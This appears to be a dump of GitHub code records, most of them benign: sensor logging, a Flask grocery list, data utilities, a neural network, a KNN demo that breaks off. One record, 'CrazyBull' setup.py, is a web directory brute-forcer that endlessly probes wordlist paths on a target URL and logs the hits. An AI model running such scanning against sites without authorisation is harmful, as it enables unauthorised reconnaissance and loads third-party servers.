bmp180_alt, bmp180_slpressure = read_bmp180()\n\n print(current_time)\n json_body = [{\n \"measurement\": \"DS18B20\",\n \"time\": current_time,\n \"fields\": {\n \"temp\": ds18b20_temp}\n }]\n if dht11_hum:\n json_body.append({\n \"measurement\": \"DHT11\",\n \"time\": current_time,\n \"fields\": {\n \"humidity\": dht11_hum,\n \"temp\": dht11_temp}\n })\n if bmp180_pressure:\n json_body.append({\n \"measurement\": \"BMP180\",\n \"time\": current_time,\n \"fields\": {\n \"temp\": bmp180_temp,\n \"presure\": bmp180_pressure,\n \"altitude\": bmp180_alt,\n \"sealevel_pressure\": bmp180_slpressure}\n })\n\n print(json_body)\n try:\n res_code = client.write_points(json_body)\n print(res_code)\n except InfluxDBServerError as e:\n print(e)\n continue\n\n # Wait 9 seconds \n time.sleep(9)\n\n\n\n","repo_name":"NBrown140/rpie_weather_station","sub_path":"weatherstation.py","file_name":"weatherstation.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28728375871","text":"'''Module for performing grocery list actions.'''\n\nfrom datetime import datetime, timezone\nfrom secrets import token_urlsafe\nfrom sqlalchemy.sql import text\n\nfrom db import db\n\ndef get_category_dict():\n '''Return a dictionary of the category names and identifiers.'''\n query = text('SELECT name, id FROM categories')\n res = db.session.execute(query).fetchall()\n return {row.name: row.id for row in res}\n\ndef get_item_id(item):\n '''Get identifier for an item. If the item does not exist,\n an entry for it is created in the database.\n '''\n query_get = text(\n '''\n SELECT i.id FROM items i\n JOIN categories c ON c.id=i.cat_id\n WHERE i.name=:name AND i.uom=:uom AND c.id=:category\n '''\n )\n query_add = text('INSERT INTO items (name, uom, cat_id) VALUES (:name, :uom, :cat_id)')\n\n res = db.session.execute(query_get, item).fetchone()\n\n item_id = res[0] if res else None\n if not item_id:\n db.session.execute(query_add, {\n 'name': item['name'],\n 'uom': item['uom'],\n 'cat_id': item['category']\n })\n db.session.commit()\n\n res = db.session.execute(query_get, item).fetchone()\n item_id = res[0] if res else None\n\n return item_id\n\ndef get_list_info(list_id):\n '''Return the name of the list.'''\n query = text('SELECT name, created_at, share_id FROM grocery_list WHERE id=:list_id')\n list_info = db.session.execute(query, {'list_id': list_id}).fetchone()\n return list_info if list_info else (None, None, None)\n\ndef get_list_items(list_id):\n '''Return a list of items and their information from\n a specified list.'''\n query = text(\n '''\n SELECT i.id, i.name, l.quantity, i.uom, c.name AS category\n FROM items AS i\n JOIN grocery_list_items AS l ON l.item_id=i.id\n JOIN grocery_list AS g ON g.id=l.list_id\n JOIN categories AS c ON c.id=i.cat_id\n WHERE g.id=:list_id\n '''\n )\n res = db.session.execute(query, {'list_id': list_id}).fetchall()\n\n items = []\n for row in res:\n item = {\n 'id': row.id,\n 'name': row.name,\n 'quantity': row.quantity,\n 'uom': row.uom,\n 'category': row.category\n }\n items.append(item)\n\n return items\n\ndef get_lists_by_user(user_id):\n '''Return the name and identifier of all\n grocery lists owned by an user.\n '''\n query = text(\n '''\n SELECT id, name FROM grocery_list\n WHERE user_id=:user_id\n ORDER BY created_at DESC\n '''\n )\n res = db.session.execute(query, {'user_id': user_id}).fetchall()\n return res if res else None\n\ndef get_sorted_list(list_id):\n '''Fetch an existing list from database, sorted based on category.\n\n param:\n list_id: int: list identifier\n return:\n dict: category name as key, value is a nested dictionary\n with the item name as key and\n quantity + unit of measurement as value\n '''\n query = text(\n '''\n SELECT c.name AS cat, i.name AS item,\n i.uom AS uom, g.quantity AS qty \n FROM grocery_list_items g\n JOIN items i ON i.id=g.item_id\n JOIN categories c ON c.id=i.cat_id\n WHERE g.list_id=:list_id\n ORDER BY c.id, i.name\n '''\n )\n res = db.session.execute(query, {'list_id': list_id}).fetchall()\n\n groceries = {}\n for cat, item, uom, qty in res:\n if cat not in groceries:\n groceries[cat] = []\n groceries[cat].append((item, qty, uom))\n\n return groceries\n\ndef new_list(user_id, list_name=None):\n '''Create a new entry in the database and\n return the identifier of the new list.\n '''\n created_at = datetime.now(timezone.utc).strftime(\n '%Y-%m-%d %H:%M:%S%z'\n )[:-2]\n if not list_name:\n list_name = f'grocery list {created_at}'\n\n share_id = token_urlsafe(16)\n\n query = text(\n '''\n INSERT INTO grocery_list (user_id, created_at, name, share_id)\n VALUES (:user_id, :created_at, :name, :share_id)\n '''\n )\n db.session.execute(\n query,\n {'user_id': user_id, 'created_at': created_at,\n 'name': list_name, 'share_id': share_id\n }\n )\n db.session.commit()\n\n query = text(\n '''\n SELECT id FROM grocery_list\n WHERE user_id=:user_id\n AND name=:name\n ORDER BY created_at DESC\n '''\n )\n list_id = db.session.execute(query, {'user_id': user_id, 'name': list_name}).fetchone()\n\n return list_id[0] if list_id else None\n\ndef _update_item(list_id, item_id, qty):\n '''Update the quantity of an item in an existing list.'''\n query = text(\n '''\n INSERT INTO grocery_list_items (list_id, item_id, quantity)\n VALUES (:list_id, :item_id, :qty)\n ON CONFLICT (item_id, list_id)\n DO UPDATE SET quantity=:qty\n '''\n )\n\n db.session.execute(query, {'list_id': list_id, 'item_id': item_id, 'qty': qty})\n db.session.commit()\n\ndef _delete_item(list_id, item_id):\n '''Delete an item from an existing list.'''\n query = text(\n '''\n DELETE FROM grocery_list_items\n WHERE item_id=:item_id AND list_id=:list_id\n '''\n )\n db.session.execute(query, {'list_id': list_id, 'item_id': item_id})\n db.session.commit()\n\ndef update_list_items(list_id, items, deleted=None):\n '''Update an existing grocery list.'''\n\n for item in items:\n item_id = get_item_id(item)\n _update_item(list_id, item_id, item['quantity'])\n\n if deleted:\n for item_id in deleted:\n _delete_item(list_id, item_id)\n\ndef update_list_name(list_id, list_name):\n query = text('UPDATE grocery_list SET name=:list_name WHERE id=:list_id')\n db.session.execute(query, {'list_name': list_name, 'list_id': list_id})\n db.session.commit()\n\ndef delete_list(list_id):\n '''Delete an existing list from database.'''\n query = text('DELETE FROM grocery_list WHERE id=:list_id')\n db.session.execute(query, {'list_id': list_id})\n db.session.commit()\n\ndef check_authorisation(user_id, list_id):\n '''Check if an user has access to a list.'''\n query = text(\n '''\n SELECT user_id FROM grocery_list\n WHERE id=:list_id AND user_id=:user_id\n '''\n )\n auth = db.session.execute(\n query, {'list_id': list_id, 'user_id': user_id}\n ).fetchone()\n\n return True if auth else False\n\ndef share_list(share_id):\n '''Get the list identifier and username of the\n user who created the list.\n '''\n query = text(\n '''\n SELECT u.username, g.id AS list_id\n FROM grocery_list g\n JOIN users u ON g.user_id=u.id\n WHERE g.share_id=:share_id\n '''\n )\n res = db.session.execute(\n query, {'share_id': share_id}\n ).fetchone()\n return res.username, res.list_id\n","repo_name":"nuclearkittens/tsoha-grocery-list","sub_path":"src/groceries.py","file_name":"groceries.py","file_ext":"py","file_size_in_byte":6908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28342121295","text":"import sys\n\ncolor = True\n\ndef begin(message, end = ''):\n print('%s...' % message, end = end)\n sys.stdout.flush()\n\ndef end(error = None):\n if error:\n if color:\n print('\\033[31mfailed\\033[0m:', error)\n else:\n print('failed:', error)\n else:\n if color:\n print('\\033[32mdone\\033[0m')\n else:\n print('done')\n","repo_name":"cyndis/tegra-tests","sub_path":"linux/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"19524868891","text":"#!/usr/bin/env python3\n\nimport sys\nimport geojson\nimport pprint\n\nif __name__ == \"__main__\":\n data = geojson.load(sys.stdin)\n features = []\n not_std = not_il = not_commercial = 0\n\n for f in data[\"features\"]:\n props = f[\"properties\"]\n\n if \"standardized_address\" not in props:\n not_std += 1\n continue\n\n if props[\"state\"] != \"IL\":\n not_il += 1\n continue\n\n rdi = props[\"standardized_address\"][\"metadata\"].get(\"rdi\", \"n/a\")\n\n if rdi != \"Commercial\":\n not_commercial += 1\n continue\n\n features.append(f)\n\n print(\"in=%d not_std=%d not_IL=%d not_comm=%d out=%d\" %\n (len(data[\"features\"]),\n not_std, not_il, not_commercial,\n len(features)),\n file=sys.stderr)\n collection = geojson.FeatureCollection(features)\n geojson.dump(collection, sys.stdout)\n\n\n\n \n","repo_name":"klikz-dev/flowmsp-support-tools","sub_path":"customer-specific/ogle_county/only_commercial_forreston_il.py","file_name":"only_commercial_forreston_il.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39649305049","text":"import lxml.etree as ET\n\n# indenting xml annotation file as per standard format\ndef indent(elem, level=0):\n i = \"\\n\" + level*\"\\t\"\n if len(elem):\n if not elem.text or not elem.text.strip():\n elem.text = i + \"\\t\"\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n for elem in elem:\n indent(elem, level+1)\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n else:\n if level and (not elem.tail or not elem.tail.strip()):\n elem.tail = i\n\ninp_path = \"/home/kartik/Desktop/000084_r.xml\"\nxml_out = \"/home/kartik/Desktop/Ann/2.xml\"\n\ni = 2\n\nmain_tree = ET.parse(inp_path)\n#print(main_tree.xpath('count(/annotation/object/name[.=\"person\"])'))\n#print(main_tree.xpath('./object[./name=\"person\"]'))\n\nroot = main_tree.getroot()\nroot_children = root.getchildren()\nobj_children = root_children[3:]\n\nnew_root = ET.Element(\"annotation\")\nfilename = ET.SubElement(new_root, \"filename\")\nfilename.text = str(i)+\".jpg\"\nfolder = ET.SubElement(new_root, \"folder\")\nfolder.text = \"train\"\nroot_children[0].tag = \"orig_filename\"\nroot_children[1].tag = \"orig_folder\"\nnew_root.append(root_children[0])\nnew_root.append(root_children[1])\nnew_root.append(root_children[2])\n\nfor get_person_obj in obj_children:\n if (get_person_obj.find('name')).text == 'person':\n new_root.append(get_person_obj)\n\nindent(new_root)\nET.ElementTree(new_root).write(xml_out)\n","repo_name":"kbkartik/obj-det","sub_path":"codes/idd_conversion_trial.py","file_name":"idd_conversion_trial.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70419424518","text":"from tkinter import *\n# combobox를 사용하기 위해서 import 해야함.\nimport tkinter.ttk as ttk\n\nroot = Tk()\nroot.title(\"GUI made by JBin\") \nroot.geometry(\"640x480+450+300\" ) \n\ncbo_val = [str(i) + \"일\" for i in range(1,32)]\ncbo1 = ttk.Combobox(root, height=5, values=cbo_val)\ncbo1.pack()\ncbo1.set(\"카드 결제일\") # 최초 목록 제목 설정\n\n# height=10 , 목록을 10개 보여줌\nreadonlycbo2 = ttk.Combobox(root, height=10, values=cbo_val, state=\"readonly\") # readonly로 전환\nreadonlycbo2.current(0) # 0번째 인덱스 값을 디폴트로 설정\nreadonlycbo2.pack()\n\n\n\n\n\n\n\n\ndef btncmd():\n print(\"카드 결제일은 :\", cbo1.get(), \"일입니다.\") # 선택된 값 반환\n print(\"카드 결제일은 :\", readonlycbo2.get(), \"일입니다.\") # 선택된 값 반환\n\n\n\n\nbtn = Button(root, text=\"선택\", command=btncmd)\nbtn.pack()\n\n\nroot.mainloop()\n\n","repo_name":"JKbin/Python-Project-Self-","sub_path":"gui_basic/8_combobox.py","file_name":"8_combobox.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27888165133","text":"import os\nimport sys\nimport time\nimport requests\nimport argparse\nimport subprocess\n\n\nparse = argparse.ArgumentParser();\nparse.add_argument(\"-d\", '--direccion', help=\"direccion example: http://127.0.0.1\")\nparse.add_argument(\"-w\", \"--wordlist\", help=\"ruta del wordlist\")\nargs = parse.parse_args()\n\n\ndef funtion_presentation():\n\ttry:\n\t\tsubprocess.run([\"cat\", \"./banner/banner.txt\"])\n\texcept OSError:\n\t\tprint(\"error al cargar banner\")\n#res.status_code\ndef funtion_connect():\n\ttry:\n\t\twhile True:\n\t\t\tarchivo = open(f\"{args.wordlist}\", \"r\")\n\t\t\tmainread = archivo.readlines()\n\t\t\tfor x in mainread:\n\t\t\t\tmore = x.strip()\n\t\t\t\tres = requests.get(args.direccion+more)\n\t\t\t\tif(res.status_code != 404):\n\t\t\t\t\tprint(f\"{res.status_code} <- response << {more}\")\n\t\t\t\t\tfile = open(\"./log.txt\", \"a\")\n\t\t\t\t\tfile.write(f\"\\n{args.direccion+more}\")\n\t\t\t\t\tfile.close()\n\t\t\t\telse:\n\t\t\t\t\tpass\n\texcept OSError:\n\t\tprint(\"error de conexion o al cargar wordlist\")\n\n\ndef funtion_verificar():\n\ttry:\n\t\tpalabra=args.direccion\n\t\tpalabra=list(palabra)\n\t\tverificador1=palabra[0]+palabra[1]+palabra[2]+palabra[3]; # http\n\t\tverificador2=palabra[0]+palabra[1]+palabra[2]+palabra[3]+palabra[4]; #https\n\t\tif(verificador1==\"http\" or verificador2==\"https\"):\n\t\t\tfuntion_presentation()\n\t\t\tfuntion_connect()\n\texcept OSError:\n\t\tprint(\"URL INVALIDA\");\ndef funtion_borrar():\n\ttry:\n\t\tsubprocess.run([\"rm\", \"-rf\", \"./log.txt\"])\n\texcept OSError:\n\t\tprint(\"error al borrar fichero\")\nwhile True:\n\tfuntion_borrar()\n\tfuntion_verificar()","repo_name":"RobotMain/CrazyBull","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42778735450","text":"#!/usr/bin/env python3\n\nimport scrap_engine as se\nimport math, time\n\n\nmap = se.Map(background=\" \")\n\ndef circle(x, y, radius):\n for i in range(map.height)[(y-radius if y-radius in range(map.height) else 0):][:(y+radius if y+radius in range(map.height) else map.height)]:\n for j in range(map.width)[x-radius:][:x+radius]:\n if math.sqrt((i-y)**2+(j-x)**2) <= radius:\n try:\n se.Object(\"a\").add(map, j, i)\n except:\n continue\n\nmap.show(init=True)\nfor i in range(int(map.width/2)):\n time.sleep(0.1)\n circle(int(map.width/2), int(map.height/2), i)\n map.show()\n while len(map.obs) > 0:\n map.obs[0].remove()\n","repo_name":"lxgr-linux/scrap_engine","sub_path":"tests/circler.py","file_name":"circler.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":110,"dataset":"github-code","pt":"62"} +{"seq_id":"9357532467","text":"\"\"\"A module containing the Layer class\n\n\"\"\"\n\nfrom .activation_funcs import activation_functions\nimport numpy as np\n\n__all__ = [\"Layer\"]\n\n\nclass Layer:\n \"\"\"\n A class to store all the information needed for a network layer\n\n Attributes\n ----------\n W: ndarray\n The weight matrix connecting this layer and the previous layer\n Shape (m_{l} x m_{l-1})\n b: ndarray\n A column vector containing biases for this layer\n Shape (m_{l} x 1)\n f: callable\n The activation function for this layer\n f_grad: callable\n The gradient of the activation function\n m: int\n The number of neurons in the layer\n A: ndarray\n A column vector containing the activations\n of the most recent feed-forward\n Shape (m_{l} x 1)\n Z: ndarray\n A column vector containing the pre-activations\n of the most recent feed-forward\n\n Notes\n -----\n Activation: A\n Pre-Activation: Z\n Weight Matrix: W\n Bias Vector: b\n Activation-function: f()\n\n A_{l} = f(Z_{l})\n Z_{l} = W_{l} x A_{l-1} + b_{l}\n \"\"\"\n def __init__(self, m: int, activation: str = \"relu\") -> None:\n self.W = np.array([])\n self.b = np.array([])\n self.f, self.f_grad\\\n = activation_functions[activation]\n self.m = m\n self.A = np.array([])\n self.Z = np.array([])\n self.d_A = np.array([])\n self.d_Z = np.array([])\n self.d_W = np.array([])\n self.d_b = np.array([])\n\n def reset(self):\n self.d_W = 0\n self.d_b = 0\n\n def copy(self):\n layer = Layer(0)\n layer.W = self.W.copy()\n layer.b = self.b.copy()\n layer.f = self.f\n layer.f_grad = self.f_grad\n layer.m = self.m\n layer.A = self.A.copy()\n layer.Z = self.Z.copy()\n layer.d_A = self.d_A.copy()\n layer.d_Z = self.d_Z.copy()\n layer.d_W = self.d_W.copy()\n layer.d_b = self.d_b.copy()\n return layer\n","repo_name":"BevisD/Neural-Network","sub_path":"network/layer.py","file_name":"layer.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29603478598","text":"import json\nfrom plotly.graph_objs import Scattergeo, Layout\nfrom plotly import offline\n\nfilename = \"data/eq_data_30_day_m1.json\"\nwith open(filename) as f:\n all_eq_data = json.load(f)\n\nall_eq_dicts = all_eq_data[\"features\"]\n\n# To finish this map, we’ll add some informative text that appears when you\n# hover over the marker representing an earthquake.\n\nmagnitudes, longs, lats, hover_texts = [], [], [], []\nfor eq_dict in all_eq_dicts:\n mag = eq_dict[\"properties\"][\"mag\"]\n lon = eq_dict[\"geometry\"][\"coordinates\"][0]\n lat = eq_dict[\"geometry\"][\"coordinates\"][1]\n title = eq_dict[\"properties\"][\"title\"]\n magnitudes.append(mag)\n longs.append(lon)\n lats.append(lat)\n hover_texts.append(title)\n\ndata = [{\n \"type\": \"scattergeo\",\n \"lon\": longs,\n \"lat\": lats,\n \"text\": hover_texts,\n \"marker\": {\n \"size\": [5*mag for mag in magnitudes],\n \"color\": magnitudes,\n \"colorscale\": \"Viridis\",\n \"reversescale\": True,\n \"colorbar\": {\"title\": \"Magnitude\"}\n }\n}]\n\nmy_layout = Layout(title=\"Global earthquakes\")\n\nfig = {\"data\": data, \"layout\": my_layout}\n\noffline.plot(fig, filename=\"final_global_eartquakes.html\")","repo_name":"kelvDp/CC_python-crash_course","sub_path":"chapter_16/final_eq_map.py","file_name":"final_eq_map.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4411631217","text":"\ndef isprime(n):\n if n == 1:\n return False\n i = 2\n while i**2 <= n:\n if n % i == 0:\n return False\n i += 1\n return True\n \nimport itertools\n\nno_primes = True\nn = 9\n\nwhile no_primes is True:\n pandigitals = [x for x in itertools.permutations(list(range(n, 0, -1)))]\n for p in pandigitals:\n m = 0\n for d in range(len(p)):\n m += p[d] * 10**(n - d - 1)\n if isprime(m):\n no_primes = False\n print(m)\n if no_primes is False:\n break\n n -= 1\n","repo_name":"subberojay/Project-Euler","sub_path":"solutions/41.py","file_name":"41.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38993181680","text":"#!/usr/bin/env python\nfrom init_primerDB import PrimerDB\nfrom itertools import product\nimport mysql.connector\nimport numpy as np\nfrom Bio import Seq\nimport collections\nimport subprocess\nimport argparse\nimport sqlite3\nimport pprint\nimport shlex\nimport sys\n\n\n\n\nclass PhysProp(PrimerDB):\n\n def __init__ (self):\n\n super(PhysProp, self).__init__()\n \n parser = argparse.ArgumentParser(description=\"\"\"Save primer data\"\"\")\n parser.add_argument('-p','--primers_file')\n parser.add_argument('-w','--windowsize',dest='windowsize',action='store',required=False, type=int)\n parser.add_argument('-s','--shiftincrement', dest='shiftincrement', action='store',required=False,type=int)\n parser.add_argument('-D','--dnaconc', dest='dnaconc', action='store',required=False,default=50,type=int)\n parser.add_argument('-S','--salt', dest='saltconc', action='store', required=False, default=50,type=int)\n parser.add_argument('-t','--temparature', dest='temperature', action='store',default=55,required=False, type=int)\n\n args, unknown = parser.parse_known_args()\n \n self.cnx.database = self.DB_NAME \n \n self.primer_id, self.primer = open(args.primers_file).readline().split()\n \n self.args = vars(args)\n n = len(self.primer)\n \n self.args.update({'windowsize': n, 'shiftincrement': n})\n self.emboss_dan_args = \"\"\"dan -filter -windowsize {windowsize} -shiftincrement {shiftincrement} -dnaconc {dnaconc}\n -saltconc {saltconc} -product -thermo -temperature {temperature} -outfile stdout -rformat simple\"\"\".format(**self.args) \n\n \n def run_dan(self, primer):\n\n args = shlex.split(self.emboss_dan_args)\n\n proc = subprocess.Popen(args, stdin= subprocess.PIPE,\n stdout = subprocess.PIPE, stderr= subprocess.PIPE)\n stdout, stderr = proc.communicate(input=primer)\n \n #print stdout\n \n d = Seq.IUPAC.IUPACData.ambiguous_dna_values\n\n primer_combinations = []\n\n for i in product(*[d[j] for j in primer]):\n primer_combinations.append(\"\".join(i))\n\n #pprint.pprint(primer_combinations)\n \n self.tm_keys = ['Tm','TmProd','GC','DeltaG','DeltaH','DeltaS']\n \n Tm_dat = dict( (col, []) for col in self.tm_keys )\n n = len(primer_combinations)\n for seq in primer_combinations:\n \n proc = subprocess.Popen(args, stdin= subprocess.PIPE,\n stdout = subprocess.PIPE, stderr= subprocess.PIPE)\n stdout, stderr = proc.communicate(input=seq)\n\n for param in self.tm_keys:\n field_tmp = dict([ line.split(':') for line in stdout.split('\\n') if line.startswith(param+':') ])\n Tm_dat[param].append(field_tmp[param])\n \n return stdout, Tm_dat\n\n \n def populate_results(self, primer_id, primer_results):\n \n primer_results.update({'primer_ID':primer_id})\n sql = \"\"\"INSERT INTO primerprop\n (primer, TmProd, DeltaS, Length, GC, DeltaG, DeltaH, Tm)\n values(\"{primer_ID}\", \"{TmProd}\", \"{DeltaS}\", \"{Length}\", \"{GC}\", \"{DeltaG}\", \"{DeltaH}\", \"{Tm}\")\n \"\"\".format(**primer_results)\n try:\n self.cursor.execute(sql)\n except mysql.connector.errors.IntegrityError as err:\n print(err)\n \n self.cnx.commit()\n\n def get_physprop(self):\n\n stdout, Tm_dat = self.run_dan(self.primer)\n #print stdout\n if stdout:\n primer_results = dict( tuple(rec.split(': ')) for rec in \n [ line for line in stdout.split('\\n')\\\n if not line.startswith('#') ] if rec )\n primer_results['Length'] = str([primer_results['Length']])\n \n for k in self.tm_keys:\n primer_results[k] = str(Tm_dat[k])\n \n self.populate_results(self.primer_id, primer_results)\n\nif __name__ == '__main__': \n PhysProp = PhysProp()\n PhysProp.get_physprop()\n","repo_name":"PiscatorX/piscator-pipeline","sub_path":"bin/get_physprop.py","file_name":"get_physprop.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"36992133720","text":"from sklearn.model_selection import train_test_split\nfrom sklearn import datasets\nfrom NN_from_Scratch import Network, Dense, ReLU\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Prepare Data\ndata_size = 10000\n\nX = np.array([[np.random.uniform(low=-3, high=3),\n np.random.uniform(low=-3, high=3),\n np.random.uniform(low=-3, high=3),] for i in range(data_size)])\n\n\ndef func(X):\n return (X[:, 0]**3)+(X[:, 1]**2)+(X[:,2])+6\n\n\ny = func(X)\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\ny_train = y_train.reshape((y_train.shape[0], 1))\n\nlr = 0.000001\n\nNN = Network()\nNN.add(Dense(X.shape[1], 50, learning_rate=lr))\nNN.add(ReLU())\nNN.add(Dense(50, 50, lr))\nNN.add(ReLU())\nNN.add(Dense(50, 50, lr))\nNN.add(ReLU())\nNN.add(Dense(50, 1, lr))\nepochs = 500\n\nfor i in range(epochs):\n NN.train(X_train, y_train)\ny_pred = NN.predict(X_test)\n\n\n\n\nfig = plt.figure(\"Actual\")\n\nax = plt.axes(projection='3d')\nax.scatter(X_test[:, 0].flatten(), X_test[:, 1].flatten(),\n y_test.flatten(), s=1, color=\"#1b1b1b\")\n\n\nfig = plt.figure(\"Predicted\")\n\nax2 = plt.axes(projection='3d')\n\nax2.scatter(X_test[:, 0].flatten(), X_test[:, 1].flatten(),\n y_pred.flatten(), color=\"green\", s=1)\n\n\nfig = plt.figure(\"Combined\")\n\nax3 = plt.axes(projection='3d')\nax3.scatter(X_test[:, 0].flatten(), X_test[:, 1].flatten(),\n y_test.flatten(), s=1, color=\"#1b1b1b\")\nax3.scatter(X_test[:, 0].flatten(), X_test[:, 1].flatten(),\n y_pred.flatten(), color=\"blue\", s=1)\n\nplt.show()\n","repo_name":"AbhayNathaniWOT/Neurons","sub_path":"Neural network From Scratch/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4484298788","text":"from __future__ import (\n absolute_import,\n division,\n print_function,\n unicode_literals,\n)\n\nimport json\n\nfrom pcs.common import report_codes\nfrom pcs.common.tools import run_parallel as tools_run_parallel\nfrom pcs.lib import reports\nfrom pcs.lib.errors import LibraryError, ReportItemSeverity\nfrom pcs.lib.external import (\n NodeCommunicator,\n NodeCommunicationException,\n node_communicator_exception_to_report_item,\n parallel_nodes_communication_helper,\n)\nfrom pcs.lib.corosync import (\n live as corosync_live,\n qdevice_client,\n)\n\n\ndef distribute_corosync_conf(\n node_communicator, reporter, node_addr_list, config_text,\n skip_offline_nodes=False\n):\n \"\"\"\n Send corosync.conf to several cluster nodes\n node_addr_list nodes to send config to (NodeAddressesList instance)\n config_text text of corosync.conf\n skip_offline_nodes don't raise an error if a node communication error occurs\n \"\"\"\n failure_severity = ReportItemSeverity.ERROR\n failure_forceable = report_codes.SKIP_OFFLINE_NODES\n if skip_offline_nodes:\n failure_severity = ReportItemSeverity.WARNING\n failure_forceable = None\n report_items = []\n\n def _parallel(node):\n try:\n corosync_live.set_remote_corosync_conf(\n node_communicator,\n node,\n config_text\n )\n reporter.process(\n reports.corosync_config_accepted_by_node(node.label)\n )\n except NodeCommunicationException as e:\n report_items.append(\n node_communicator_exception_to_report_item(\n e,\n failure_severity,\n failure_forceable\n )\n )\n report_items.append(\n reports.corosync_config_distribution_node_error(\n node.label,\n failure_severity,\n failure_forceable\n )\n )\n\n reporter.process(reports.corosync_config_distribution_started())\n tools_run_parallel(\n _parallel,\n [((node, ), {}) for node in node_addr_list]\n )\n reporter.process_list(report_items)\n\ndef check_corosync_offline_on_nodes(\n node_communicator, reporter, node_addr_list, skip_offline_nodes=False\n):\n \"\"\"\n Check corosync is not running on cluster nodes\n node_addr_list nodes to send config to (NodeAddressesList instance)\n skip_offline_nodes don't raise an error if a node communication error occurs\n \"\"\"\n failure_severity = ReportItemSeverity.ERROR\n failure_forceable = report_codes.SKIP_OFFLINE_NODES\n if skip_offline_nodes:\n failure_severity = ReportItemSeverity.WARNING\n failure_forceable = None\n report_items = []\n\n def _parallel(node):\n try:\n status = node_communicator.call_node(node, \"remote/status\", None)\n if not json.loads(status)[\"corosync\"]:\n reporter.process(\n reports.corosync_not_running_on_node_ok(node.label)\n )\n else:\n report_items.append(\n reports.corosync_running_on_node_fail(node.label)\n )\n except NodeCommunicationException as e:\n report_items.append(\n node_communicator_exception_to_report_item(\n e,\n failure_severity,\n failure_forceable\n )\n )\n report_items.append(\n reports.corosync_not_running_check_node_error(\n node.label,\n failure_severity,\n failure_forceable\n )\n )\n except (ValueError, LookupError):\n report_items.append(\n reports.corosync_not_running_check_node_error(\n node.label,\n failure_severity,\n failure_forceable\n )\n )\n\n reporter.process(reports.corosync_not_running_check_started())\n tools_run_parallel(\n _parallel,\n [((node, ), {}) for node in node_addr_list]\n )\n reporter.process_list(report_items)\n\ndef qdevice_reload_on_nodes(\n node_communicator, reporter, node_addr_list, skip_offline_nodes=False\n):\n \"\"\"\n Reload corosync-qdevice configuration on cluster nodes\n NodeAddressesList node_addr_list nodes to reload config on\n bool skip_offline_nodes don't raise an error on node communication errors\n \"\"\"\n reporter.process(reports.qdevice_client_reload_started())\n parallel_params = [\n [(reporter, node_communicator, node), {}]\n for node in node_addr_list\n ]\n # catch an exception so we try to start qdevice on nodes where we stopped it\n report_items = []\n try:\n parallel_nodes_communication_helper(\n qdevice_client.remote_client_stop,\n parallel_params,\n reporter,\n skip_offline_nodes\n )\n except LibraryError as e:\n report_items.extend(e.args)\n try:\n parallel_nodes_communication_helper(\n qdevice_client.remote_client_start,\n parallel_params,\n reporter,\n skip_offline_nodes\n )\n except LibraryError as e:\n report_items.extend(e.args)\n reporter.process_list(report_items)\n\ndef node_check_auth(communicator, node):\n \"\"\"\n Check authentication and online status of 'node'.\n\n communicator -- NodeCommunicator\n node -- NodeAddresses\n \"\"\"\n communicator.call_node(\n node,\n \"remote/check_auth\",\n NodeCommunicator.format_data_dict({\"check_auth_only\": 1})\n )\n","repo_name":"AdamWill/pcs","sub_path":"pcs/lib/nodes_task.py","file_name":"nodes_task.py","file_ext":"py","file_size_in_byte":5693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"21353531047","text":"class Pessoa:\n def __init__(self, nome, idade):\n self.nome = nome\n self.idade = idade\n\n def falar(self):\n print(self.nome + \" está falando\")\n\np = Pessoa(\"Clara\", 10)\nprint(p.nome)\nprint(p.idade)\np.falar()","repo_name":"HicaroD/MinicursoDePython","sub_path":"codigos/Classes/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"574504930","text":"from sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.neighbors import KNeighborsRegressor\n# vehicle classification :Weighr , Engine\ntrainingData=[\n [100,100],\n [150,110],\n [180,150],\n [200,180],\n [800,1000],\n [1000,1200],\n [1200,1300],\n [1500,1500],\n]\n# Labels\nbike=0\ncar=1\n# trainingLabels=[0,0,0,0,1,1,1,1]\ntrainingLabels=[bike,bike,bike,bike,car,car,car,car]\nlabelNames=[\"Bike\",\"Car\"]\n\ntestingData=[\n [110,105],\n [1011,1101],\n [190,160],\n [911, 1213],\n [160,90],\n [220,170],\n [1397,1260],\n [1475,1300]\n\n]\n# consider three nearest datapoints to perform 